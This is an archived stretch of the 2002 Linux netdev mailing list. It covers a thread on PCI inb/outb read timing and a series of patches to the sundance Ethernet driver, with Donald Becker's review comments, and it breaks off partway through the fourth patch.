ebiederm@xmission.com, hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <1032381789.20498.151.camel@irongate.swansea.linux.org.uk> <20020918.134630.127509858.davem@redhat.com> <1032383727.20463.155.camel@irongate.swansea.linux.org.uk> <20020918.142250.130847722.davem@redhat.com> From: ebiederm@xmission.com (Eric W. Biederman) Date: 19 Sep 2002 09:03:39 -0600 In-Reply-To: <20020918.142250.130847722.davem@redhat.com> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 287 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebiederm@xmission.com Precedence: bulk X-list: netdev "David S. Miller" writes: > From: Alan Cox > Date: 18 Sep 2002 22:15:27 +0100 > > It doesnt matter what XFree86 is doing. Thats just to load the PCI bus > and jam it up to prove the point. It'll change your inb timing > > Understood. Maybe a more accurate wording would be "a fixed minimum > timing". Why? If I do an inb to a PCI-X device running at 133Mhz it should come back much faster than an inb from my serial port on the ISA port. What is the reason for the fixed minimum timing? Alan asserted there is a posting behavior difference, but that should not affect reads. What is different between mmio and pio to a pci device when doing reads that should make mmio faster? Eric From alan@lxorguk.ukuu.org.uk Thu Sep 19 08:43:36 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 08:43:41 -0700 (PDT) Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JFhZtG025966 for ; Thu, 19 Sep 2002 08:43:36 -0700 Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1]) by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g8JFr75a027866; Thu, 19 Sep 2002 16:53:07 +0100 Received: (from alan@localhost) by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g8JFr3wI027863; Thu, 19 Sep 2002 16:53:03 +0100 X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f Subject: Re: Info: NAPI performance at "low" loads From: Alan Cox To: "Eric W. Biederman" Cc: "David S. Miller" , hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org In-Reply-To: References: <1032381789.20498.151.camel@irongate.swansea.linux.org.uk> <20020918.134630.127509858.davem@redhat.com> <1032383727.20463.155.camel@irongate.swansea.linux.org.uk> <20020918.142250.130847722.davem@redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) Date: 19 Sep 2002 16:53:02 +0100 Message-Id: <1032450782.27721.5.camel@irongate.swansea.linux.org.uk> Mime-Version: 1.0 X-archive-position: 288 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alan@lxorguk.ukuu.org.uk Precedence: bulk X-list: netdev On Thu, 2002-09-19 at 16:03, Eric W. Biederman wrote: > If I do an inb to a PCI-X device running at 133Mhz it should come back > much faster than an inb from my serial port on the ISA port. What > is the reason for the fixed minimum timing? As far as I can tell the minimum time for the inb/outb is simply the time it takes the bus to respond. The only difference there is that for writel rather than outl you won't wait for the write to complete on the PCI bus just dump it into the fifo if its empty From jgarzik@mandrakesoft.com Thu Sep 19 10:07:44 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 10:07:51 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JH7gtG028666 for ; Thu, 19 Sep 2002 10:07:43 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17s4r9-000877-00; Thu, 19 Sep 2002 18:12:47 +0100 Message-ID: <3D8A056C.2000605@mandrakesoft.com> Date: Thu, 19 Sep 2002 13:12:12 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Donald Becker CC: netdev@oss.sgi.com, Jason Lunz , Richard Gooch , "Patrick R. McManus" , Linux Kernel Mailing List , edward_peng@dlink.com.tw Subject: PATCH: sundance #2 References: Content-Type: multipart/mixed; boundary="------------010400030102010602030107" X-archive-position: 289 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------010400030102010602030107 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Thanks to Donald for his comments. This patch addresses the first of his two emails. This patch is _cumulative_ with the last one I sent (sundance 1.04), so do not discard that one. Again additional testing is appreciated. Keep the feedback coming, there will be more sundance bugfixes (patch #3, #4, etc.) Jeff --------------010400030102010602030107 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" diff -Nru a/drivers/net/sundance.c b/drivers/net/sundance.c --- a/drivers/net/sundance.c Thu Sep 19 13:05:53 2002 +++ b/drivers/net/sundance.c Thu Sep 19 13:05:53 2002 @@ -18,26 +18,34 @@ http://www.scyld.com/network/sundance.html - Version 1.01a (jgarzik): + Version LK1.01a (jgarzik): - Replace some MII-related magic numbers with constants - Version 1.02 (D-Link): + Version LK1.02 (D-Link): - Add new board to PCI ID list - Fix multicast bug - Version 1.03 (D-Link): + Version LK1.03 (D-Link): - New Rx scheme, reduce Rx congestion - Option to disable flow control - Version 1.04 (D-Link): + Version LK1.04 (D-Link): - Tx timeout recovery - More support for ethtool. + Version LK1.04a (jgarzik): + - Remove unused/constant members from struct pci_id_info + (which then allows removal of 'drv_flags' from private struct) + - If no phy is found, fail to load that board + - Always start phy id scan at id 1 to avoid problems (Donald Becker) + - Autodetect where mii_preable_required is needed, + default to not needed. (Donald Becker) + */ #define DRV_NAME "sundance" -#define DRV_VERSION "1.04" -#define DRV_RELDATE "19-Aug-2002" +#define DRV_VERSION "1.01+LK1.04a" +#define DRV_RELDATE "19-Sep-2002" /* The user-configurable values. @@ -72,6 +80,12 @@ */ #define MAX_UNITS 8 static char *media[MAX_UNITS]; + +/* Set iff a MII transceiver on any interface requires mdio preamble. + This only set with older tranceivers, so the extra + code size of a per-interface flag is not worthwhile. */ +static int mii_preamble_required = 0; + /* Operational parameters that are set at compile time. */ /* Keep the ring sizes a power of two for compile efficiency. @@ -145,11 +159,14 @@ MODULE_PARM(rx_copybreak, "i"); MODULE_PARM(media, "1-" __MODULE_STRING(MAX_UNITS) "s"); MODULE_PARM(flowctrl, "i"); +MODULE_PARM(mii_preamble_required, "i"); MODULE_PARM_DESC(max_interrupt_work, "Sundance Alta maximum events handled per interrupt"); MODULE_PARM_DESC(mtu, "Sundance Alta MTU (all boards)"); MODULE_PARM_DESC(debug, "Sundance Alta debug level (0-5)"); MODULE_PARM_DESC(rx_copybreak, "Sundance Alta copy breakpoint for copy-only-tiny-frames"); MODULE_PARM_DESC(flowctrl, "Sundance Alta flow control [0|1]"); +MODULE_PARM_DESC(mii_preamble_required, "Set to send a preamble before MII management transactions"); + /* Theory of Operation @@ -225,20 +242,6 @@ */ -enum pci_id_flags_bits { - /* Set PCI command register bits before calling probe1(). */ - PCI_USES_IO=1, PCI_USES_MEM=2, PCI_USES_MASTER=4, - /* Read and map the single following PCI BAR. */ - PCI_ADDR0=0<<4, PCI_ADDR1=1<<4, PCI_ADDR2=2<<4, PCI_ADDR3=3<<4, - PCI_ADDR_64BITS=0x100, PCI_NO_ACPI_WAKE=0x200, PCI_NO_MIN_LATENCY=0x400, -}; -enum chip_capability_flags {CanHaveMII=1, }; -#ifdef USE_IO_OPS -#define PCI_IOTYPE (PCI_USES_MASTER | PCI_USES_IO | PCI_ADDR0) -#else -#define PCI_IOTYPE (PCI_USES_MASTER | PCI_USES_MEM | PCI_ADDR1) -#endif - static struct pci_device_id sundance_pci_tbl[] __devinitdata = { {0x1186, 0x1002, 0x1186, 0x1002, 0, 0, 0}, {0x1186, 0x1002, 0x1186, 0x1003, 0, 0, 1}, @@ -250,31 +253,20 @@ }; MODULE_DEVICE_TABLE(pci, sundance_pci_tbl); +enum { + netdev_io_size = 128 +}; + struct pci_id_info { const char *name; - struct match_info { - int pci, pci_mask, subsystem, subsystem_mask; - int revision, revision_mask; /* Only 8 bits. */ - } id; - enum pci_id_flags_bits pci_flags; - int io_size; /* Needed for I/O region check or ioremap(). */ - int drv_flags; /* Driver use, intended as capability flags. */ }; static struct pci_id_info pci_id_tbl[] = { - {"D-Link DFE-550TX FAST Ethernet Adapter", {0x10021186, 0xffffffff,}, - PCI_IOTYPE, 128, CanHaveMII}, - {"D-Link DFE-550FX 100Mbps Fiber-optics Adapter", - {0x10031186, 0xffffffff,}, - PCI_IOTYPE, 128, CanHaveMII}, - {"D-Link DFE-580TX 4 port Server Adapter", {0x10121186, 0xffffffff,}, - PCI_IOTYPE, 128, CanHaveMII}, - {"D-Link DFE-530TXS FAST Ethernet Adapter", {0x10021186, 0xffffffff,}, - PCI_IOTYPE, 128, CanHaveMII}, - {"D-Link DL10050-based FAST Ethernet Adapter", - {0x10021186, 0xffffffff,}, - PCI_IOTYPE, 128, CanHaveMII}, - {"Sundance Technology Alta", {0x020113F0, 0xffffffff,}, - PCI_IOTYPE, 128, CanHaveMII}, + {"D-Link DFE-550TX FAST Ethernet Adapter"}, + {"D-Link DFE-550FX 100Mbps Fiber-optics Adapter"}, + {"D-Link DFE-580TX 4 port Server Adapter"}, + {"D-Link DFE-530TXS FAST Ethernet Adapter"}, + {"D-Link DL10050-based FAST Ethernet Adapter"}, + {"Sundance Technology Alta"}, {0,}, /* 0 terminated list. */ }; @@ -430,7 +422,7 @@ /* Frequently used values: keep some adjacent for cache effect. */ spinlock_t lock; spinlock_t rx_lock; /* Group with Tx control cache line. */ - int chip_id, drv_flags; + int chip_id; unsigned int cur_rx, dirty_rx; /* Producer/consumer ring indices */ unsigned int rx_buf_sz; /* Based on MTU+slack. */ struct netdev_desc *last_tx; /* Last Tx descriptor used. */ @@ -447,7 +439,6 @@ spinlock_t mcastlock; /* SMP lock multicast updates. */ u16 mcast_filter[4]; /* MII transceiver section. */ - int mii_cnt; /* MII device addresses. */ u16 advertising; /* NWay media advertisement */ unsigned char phys[MII_CNT]; /* MII device addresses, only first one used. */ struct pci_dev *pci_dev; @@ -521,7 +512,7 @@ ioaddr = pci_resource_start(pdev, 0); #else ioaddr = pci_resource_start(pdev, 1); - ioaddr = (long) ioremap (ioaddr, pci_id_tbl[chip_idx].io_size); + ioaddr = (long) ioremap (ioaddr, netdev_io_size); if (!ioaddr) goto err_out_res; #endif @@ -535,7 +526,6 @@ np = dev->priv; np->chip_id = chip_idx; - np->drv_flags = pci_id_tbl[chip_idx].drv_flags; np->pci_dev = pdev; spin_lock_init(&np->lock); tasklet_init(&np->rx_tasklet, rx_poll, (unsigned long)dev); @@ -579,21 +569,28 @@ if (1) { int phy, phy_idx = 0; np->phys[0] = 1; /* Default setting */ - for (phy = 0; phy < 32 && phy_idx < MII_CNT; phy++) { - int mii_status = mdio_read(dev, phy, 1); + mii_preamble_required++; + for (phy = 1; phy < 32 && phy_idx < MII_CNT; phy++) { + int mii_status = mdio_read(dev, phy, MII_BMSR); if (mii_status != 0xffff && mii_status != 0x0000) { np->phys[phy_idx++] = phy; - np->advertising = mdio_read(dev, phy, 4); + np->advertising = mdio_read(dev, phy, MII_ADVERTISE); + if ((mii_status & 0x0040) == 0) + mii_preamble_required++; printk(KERN_INFO "%s: MII PHY found at address %d, status " "0x%4.4x advertising %4.4x.\n", dev->name, phy, mii_status, np->advertising); } } - np->mii_cnt = phy_idx; - if (phy_idx == 0) - printk(KERN_INFO "%s: No MII transceiver found!, ASIC status %x\n", + mii_preamble_required--; + + if (phy_idx == 0) { + printk(KERN_INFO "%s: No MII transceiver found, aborting. ASIC status %x\n", dev->name, readl(ioaddr + ASICCtrl)); + goto err_out_unmap_rx; + } } + /* Parse override configuration */ np->an_enable = 1; if (card_idx < MAX_UNITS) { @@ -700,11 +697,6 @@ The maximum data clock rate is 2.5 Mhz. The minimum timing is usually met by back-to-back 33Mhz PCI cycles. */ #define mdio_delay() readb(mdio_addr) - -/* Set iff a MII transceiver on any interface requires mdio preamble. - This only set with older tranceivers, so the extra - code size of a per-interface flag is not worthwhile. */ -static const char mii_preamble_required = 1; enum mii_reg_bits { MDIO_ShiftClk=0x0001, MDIO_Data=0x0002, MDIO_EnbOutput=0x0004, --------------010400030102010602030107-- From becker@scyld.com Thu Sep 19 10:24:34 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 10:24:36 -0700 (PDT) Received: from beohost.scyld.com (dsl093-058-082.blt1.dsl.speakeasy.net [66.93.58.82]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JHOYtG030025 for ; Thu, 19 Sep 2002 10:24:34 -0700 Received: from localhost (becker@localhost) by beohost.scyld.com (8.11.6/8.11.6) with ESMTP id g8JHTV408551; Thu, 19 Sep 2002 13:29:31 -0400 Date: Thu, 19 Sep 2002 13:29:31 -0400 (EDT) From: Donald Becker To: Jeff Garzik cc: netdev@oss.sgi.com, Jason Lunz , Richard Gooch , "Patrick R. McManus" , Linux Kernel Mailing List , Subject: Re: PATCH: sundance #2 In-Reply-To: <3D8A056C.2000605@mandrakesoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 290 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: becker@scyld.com Precedence: bulk X-list: netdev On Thu, 19 Sep 2002, Jeff Garzik wrote: > Thanks to Donald for his comments. This patch addresses the first of > his two emails. > > This patch is _cumulative_ with the last one I sent (sundance 1.04), so > do not discard that one. > > Again additional testing is appreciated. Keep the feedback coming, > there will be more sundance bugfixes (patch #3, #4, etc.) + - If no phy is found, fail to load that board + - Always start phy id scan at id 1 to avoid problems (Donald Becker) + - Autodetect where mii_preable_required is needed, + default to not needed. (Donald Becker) ... + +/* Set iff a MII transceiver on any interface requires mdio preamble. + This only set with older tranceivers, so the extra + code size of a per-interface flag is not worthwhile. */ +static int mii_preamble_required = 0; You can get rid of this as a module option, and make it a per-interface setting. The transceiver on the Kendin chip requires this (rather old-fashioned) access method, while none of the previous Sundance-based boards with external transceivers did. I added it as a module parameter as a back-up over-ride, but I'm certain that the automatic detection works. This is a module parameter because I recently had a bad experience with a specific 3Com 3c905B chip rev. It claimed to not need transceiver preamble, but would not work without it. > Theory of Operation Whoever changed the transmit path should update the TOO. - {"Sundance Technology Alta", {0x020113F0, 0xffffffff,}, - PCI_IOTYPE, 128, CanHaveMII}, + {"D-Link DFE-550TX FAST Ethernet Adapter"}, + {"D-Link DFE-550FX 100Mbps Fiber-optics Adapter"}, Yeah, you should probably throw away the rest of the changes. You are probably going to want to keep the drv_flags field. I know that all of the current chips have the same flag (CanHaveMII), but... -- Donald Becker becker@scyld.com Scyld Computing Corporation http://www.scyld.com 410 Severn Ave. Suite 210 Second Generation Beowulf Clusters Annapolis MD 21403 410-990-9993 From jgarzik@mandrakesoft.com Thu Sep 19 11:13:40 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 11:13:44 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JIDctG030901 for ; Thu, 19 Sep 2002 11:13:39 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17s5t0-0000zJ-00; Thu, 19 Sep 2002 19:18:46 +0100 Message-ID: <3D8A14E6.6000105@mandrakesoft.com> Date: Thu, 19 Sep 2002 14:18:14 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Donald Becker CC: netdev@oss.sgi.com, Jason Lunz , Richard Gooch , "Patrick R. McManus" , Linux Kernel Mailing List , edward_peng@dlink.com.tw Subject: PATCH: sundance #3 References: Content-Type: multipart/mixed; boundary="------------040704040102060900060303" X-archive-position: 291 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------040704040102060900060303 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit The obvious sundance #3 patch follows... cumulative to the sundance-1.04 base patch, and sundance #2 patch. --------------040704040102060900060303 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" diff -Nru a/drivers/net/sundance.c b/drivers/net/sundance.c --- a/drivers/net/sundance.c Thu Sep 19 14:16:21 2002 +++ b/drivers/net/sundance.c Thu Sep 19 14:16:21 2002 @@ -41,10 +41,17 @@ - Autodetect where mii_preable_required is needed, default to not needed. (Donald Becker) + Version LK1.04b: + - Remove mii_preamble_required module parameter (Donald Becker) + - Add per-interface mii_preamble_required (setting is autodetected) + (Donald Becker) + - Remove unnecessary cast from void pointer + - Re-align comments in private struct + */ #define DRV_NAME "sundance" -#define DRV_VERSION "1.01+LK1.04a" +#define DRV_VERSION "1.01+LK1.04b" #define DRV_RELDATE "19-Sep-2002" @@ -81,10 +88,6 @@ #define MAX_UNITS 8 static char *media[MAX_UNITS]; -/* Set iff a MII transceiver on any interface requires mdio preamble. - This only set with older tranceivers, so the extra - code size of a per-interface flag is not worthwhile. */ -static int mii_preamble_required = 0; /* Operational parameters that are set at compile time. */ @@ -159,13 +162,11 @@ MODULE_PARM(rx_copybreak, "i"); MODULE_PARM(media, "1-" __MODULE_STRING(MAX_UNITS) "s"); MODULE_PARM(flowctrl, "i"); -MODULE_PARM(mii_preamble_required, "i"); MODULE_PARM_DESC(max_interrupt_work, "Sundance Alta maximum events handled per interrupt"); MODULE_PARM_DESC(mtu, "Sundance Alta MTU (all boards)"); MODULE_PARM_DESC(debug, "Sundance Alta debug level (0-5)"); MODULE_PARM_DESC(rx_copybreak, "Sundance Alta copy breakpoint for copy-only-tiny-frames"); MODULE_PARM_DESC(flowctrl, "Sundance Alta flow control [0|1]"); -MODULE_PARM_DESC(mii_preamble_required, "Set to send a preamble before MII management transactions"); /* Theory of Operation @@ -418,17 +419,17 @@ dma_addr_t tx_ring_dma; dma_addr_t rx_ring_dma; struct net_device_stats stats; - struct timer_list timer; /* Media monitoring timer. */ + struct timer_list timer; /* Media monitoring timer. */ /* Frequently used values: keep some adjacent for cache effect. */ spinlock_t lock; - spinlock_t rx_lock; /* Group with Tx control cache line. */ + spinlock_t rx_lock; /* Group with Tx control cache line. */ int chip_id; unsigned int cur_rx, dirty_rx; /* Producer/consumer ring indices */ - unsigned int rx_buf_sz; /* Based on MTU+slack. */ + unsigned int rx_buf_sz; /* Based on MTU+slack. */ struct netdev_desc *last_tx; /* Last Tx descriptor used. */ unsigned int cur_tx, dirty_tx; /* These values are keep track of the transceiver/media in use. */ - unsigned int full_duplex:1; /* Full-duplex operation requested. */ + unsigned int full_duplex:1; /* Full-duplex operation requested. */ unsigned int flowctrl:1; unsigned int default_port:4; /* Last dev->if_port value. */ unsigned int an_enable:1; @@ -436,10 +437,11 @@ struct tasklet_struct rx_tasklet; int budget; /* Multicast and receive mode. */ - spinlock_t mcastlock; /* SMP lock multicast updates. */ + spinlock_t mcastlock; /* SMP lock multicast updates. */ u16 mcast_filter[4]; /* MII transceiver section. */ - u16 advertising; /* NWay media advertisement */ + int mii_preamble_required; + u16 advertising; /* NWay media advertisement */ unsigned char phys[MII_CNT]; /* MII device addresses, only first one used. */ struct pci_dev *pci_dev; }; @@ -569,20 +571,20 @@ if (1) { int phy, phy_idx = 0; np->phys[0] = 1; /* Default setting */ - mii_preamble_required++; + np->mii_preamble_required++; for (phy = 1; phy < 32 && phy_idx < MII_CNT; phy++) { int mii_status = mdio_read(dev, phy, MII_BMSR); if (mii_status != 0xffff && mii_status != 0x0000) { np->phys[phy_idx++] = phy; np->advertising = mdio_read(dev, phy, MII_ADVERTISE); if ((mii_status & 0x0040) == 0) - mii_preamble_required++; + np->mii_preamble_required++; printk(KERN_INFO "%s: MII PHY found at address %d, status " "0x%4.4x advertising %4.4x.\n", dev->name, phy, mii_status, np->advertising); } } - mii_preamble_required--; + np->mii_preamble_required--; if (phy_idx == 0) { printk(KERN_INFO "%s: No MII transceiver found, aborting. ASIC status %x\n", @@ -722,11 +724,12 @@ static int mdio_read(struct net_device *dev, int phy_id, int location) { + struct netdev_private *np = dev->priv; long mdio_addr = dev->base_addr + MIICtrl; int mii_cmd = (0xf6 << 10) | (phy_id << 5) | location; int i, retval = 0; - if (mii_preamble_required) + if (np->mii_preamble_required) mdio_sync(mdio_addr); /* Shift the read command bits out. */ @@ -751,11 +754,12 @@ static void mdio_write(struct net_device *dev, int phy_id, int location, int value) { + struct netdev_private *np = dev->priv; long mdio_addr = dev->base_addr + MIICtrl; int mii_cmd = (0x5002 << 16) | (phy_id << 23) | (location<<18) | value; int i; - if (mii_preamble_required) + if (np->mii_preamble_required) mdio_sync(mdio_addr); /* Shift the command bits out. */ @@ -969,7 +973,7 @@ static int start_tx (struct sk_buff *skb, struct net_device *dev) { - struct netdev_private *np = (struct netdev_private *) dev->priv; + struct netdev_private *np = dev->priv; struct netdev_desc *txdesc; unsigned entry; long ioaddr = dev->base_addr; --------------040704040102060900060303-- From jgarzik@mandrakesoft.com Thu Sep 19 12:13:56 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 12:13:58 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JJDrtG002215 for ; Thu, 19 Sep 2002 12:13:55 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17s5oq-0000u2-00; Thu, 19 Sep 2002 19:14:28 +0100 Message-ID: <3D8A13E4.6010300@mandrakesoft.com> Date: Thu, 19 Sep 2002 14:13:56 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Donald Becker CC: netdev@oss.sgi.com, Jason Lunz , Richard Gooch , "Patrick R. McManus" , Linux Kernel Mailing List , edward_peng@dlink.com.tw Subject: Re: PATCH: sundance #2 References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 292 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Donald Becker wrote: > +/* Set iff a MII transceiver on any interface requires mdio preamble. > + This only set with older tranceivers, so the extra > + code size of a per-interface flag is not worthwhile. */ > +static int mii_preamble_required = 0; > > You can get rid of this as a module option, and make it a per-interface > setting. > The transceiver on the Kendin chip requires this (rather old-fashioned) > access method, while none of the previous Sundance-based boards with > external transceivers did. > > I added it as a module parameter as a back-up over-ride, but I'm certain > that the automatic detection works. Good enough for me... >> Theory of Operation > > > Whoever changed the transmit path should update the TOO. noted > - {"Sundance Technology Alta", {0x020113F0, 0xffffffff,}, > - PCI_IOTYPE, 128, CanHaveMII}, > + {"D-Link DFE-550TX FAST Ethernet Adapter"}, > + {"D-Link DFE-550FX 100Mbps Fiber-optics Adapter"}, > > Yeah, you should probably throw away the rest of the changes. > You are probably going to want to keep the drv_flags field. I know > that all of the current chips have the same flag (CanHaveMII), but... That's probably a style area that you and I will disagree on... :) Jeff From jgarzik@mandrakesoft.com Thu Sep 19 13:14:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 13:14:08 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JKE2tG005957 for ; Thu, 19 Sep 2002 13:14:03 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17s70q-0002Qy-00; Thu, 19 Sep 2002 20:30:57 +0100 Message-ID: <3D8A25D1.3060300@mandrakesoft.com> Date: Thu, 19 Sep 2002 15:30:25 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com, Linux Kernel Mailing List CC: Donald Becker , Jason Lunz , Richard Gooch , "Patrick R. McManus" , edward_peng@dlink.com.tw Subject: PATCH: sundance #4 References: Content-Type: multipart/mixed; boundary="------------050701000103070306000102" X-archive-position: 293 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------050701000103070306000102 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit while I was in there, and because it was easy, I ripped out the hand-coded ethtool stuff, and modernized a bit. note that the lines that don't appear to have changes are lines which have been stripped of trailing whitespace. Next, the issues that Jason pointed out with the hand-rolled RX polling, and the stuff Donald pointed out in his first message. --------------050701000103070306000102 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" diff -Nru a/drivers/net/Makefile b/drivers/net/Makefile --- a/drivers/net/Makefile Thu Sep 19 15:17:05 2002 +++ b/drivers/net/Makefile Thu Sep 19 15:17:05 2002 @@ -70,7 +70,7 @@ obj-$(CONFIG_AIRONET4500_CS) += aironet4500_proc.o obj-$(CONFIG_WINBOND_840) += mii.o -obj-$(CONFIG_SUNDANCE) += sundance.o +obj-$(CONFIG_SUNDANCE) += sundance.o mii.o obj-$(CONFIG_HAMACHI) += hamachi.o obj-$(CONFIG_NET) += Space.o setup.o net_init.o loopback.o obj-$(CONFIG_SEEQ8005) += seeq8005.o diff -Nru a/drivers/net/sundance.c b/drivers/net/sundance.c --- a/drivers/net/sundance.c Thu Sep 19 15:17:05 2002 +++ b/drivers/net/sundance.c Thu Sep 19 15:17:05 2002 @@ -24,11 +24,11 @@ Version LK1.02 (D-Link): - Add new board to PCI ID list - Fix multicast bug - + Version LK1.03 (D-Link): - New Rx scheme, reduce Rx congestion - Option to disable flow control - + Version LK1.04 (D-Link): - Tx timeout recovery - More support for ethtool. @@ -48,10 +48,15 @@ - Remove unnecessary cast from void pointer - Re-align comments in private struct + Version LK1.04c: + - Support bitmapped message levels (NETIF_MSG_xxx), and the + two ethtool ioctls that get/set them + - Don't hand-code MII ethtool support, use standard API/lib + */ #define DRV_NAME "sundance" -#define DRV_VERSION "1.01+LK1.04b" +#define DRV_VERSION "1.01+LK1.04c" #define DRV_RELDATE "19-Sep-2002" @@ -85,7 +90,7 @@ 3 100Mbps half duplex. 4 100Mbps full duplex. */ -#define MAX_UNITS 8 +#define MAX_UNITS 8 static char *media[MAX_UNITS]; @@ -353,7 +358,7 @@ enum ASICCtrl_HiWord_bit { GlobalReset = 0x0001, RxReset = 0x0002, - TxReset = 0x0004, + TxReset = 0x0004, DMAReset = 0x0008, FIFOReset = 0x0010, NetworkReset = 0x0020, @@ -423,13 +428,13 @@ /* Frequently used values: keep some adjacent for cache effect. */ spinlock_t lock; spinlock_t rx_lock; /* Group with Tx control cache line. */ + int msg_enable; int chip_id; unsigned int cur_rx, dirty_rx; /* Producer/consumer ring indices */ unsigned int rx_buf_sz; /* Based on MTU+slack. */ struct netdev_desc *last_tx; /* Last Tx descriptor used. */ unsigned int cur_tx, dirty_tx; /* These values are keep track of the transceiver/media in use. */ - unsigned int full_duplex:1; /* Full-duplex operation requested. */ unsigned int flowctrl:1; unsigned int default_port:4; /* Last dev->if_port value. */ unsigned int an_enable:1; @@ -440,8 +445,8 @@ spinlock_t mcastlock; /* SMP lock multicast updates. */ u16 mcast_filter[4]; /* MII transceiver section. */ + struct mii_if_info mii_if; int mii_preamble_required; - u16 advertising; /* NWay media advertisement */ unsigned char phys[MII_CNT]; /* MII device addresses, only first one used. */ struct pci_dev *pci_dev; }; @@ -472,7 +477,7 @@ static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); static int netdev_close(struct net_device *dev); - + static int __devinit sundance_probe1 (struct pci_dev *pdev, const struct pci_device_id *ent) @@ -527,8 +532,9 @@ dev->irq = irq; np = dev->priv; - np->chip_id = chip_idx; np->pci_dev = pdev; + np->chip_id = chip_idx; + np->msg_enable = (1 << debug) - 1; spin_lock_init(&np->lock); tasklet_init(&np->rx_tasklet, rx_poll, (unsigned long)dev); @@ -544,6 +550,10 @@ np->rx_ring = 